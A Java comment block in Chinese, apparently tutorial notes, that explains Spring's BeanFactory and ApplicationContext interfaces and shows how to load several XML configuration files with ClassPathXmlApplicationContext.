    /**
     * Spring容器最基本的接口就是BeanFactory. BeanFactory负责配置、创建、管理Bean，它有一个子接口ApplicationContext,也称为Spring上下文。Spring容器负责管理Bean与Bean之间的信赖关系。
     *     BeanFactory有很多实现类，通常使用org.springframework.beans.factory.xml.XmlBeanFactory类。但对于大部分J2EE应用而言，推荐使用ApplicationContext.
     *     ApplicationContext是BeanFactory的子接口，其常用实现类是
     *     org.springframework.context.support.FileSystemXmlApplicationContext
     *     org.springframework.context.support.ClassXmlAplicationContext。
     * Springr的配置信息通常采用XML配置文件来设置，因此，创建BeanFactory实例时，应该提供XML配置文件作为参数。、
     * 下面详细介绍ApplicationContext的实际运用：
     * 一：ClassPathXmlApplicationContext
     *
     * 4.可以同时加载多个文件
     *   String[] xmlCfg = new String[] { "classpath:base.spring_test3.xml","app.spring_test3.xml"};
     *   ApplicationContext appCt = new ClassPathXmlApplicationContext(xmlCfg);
     *
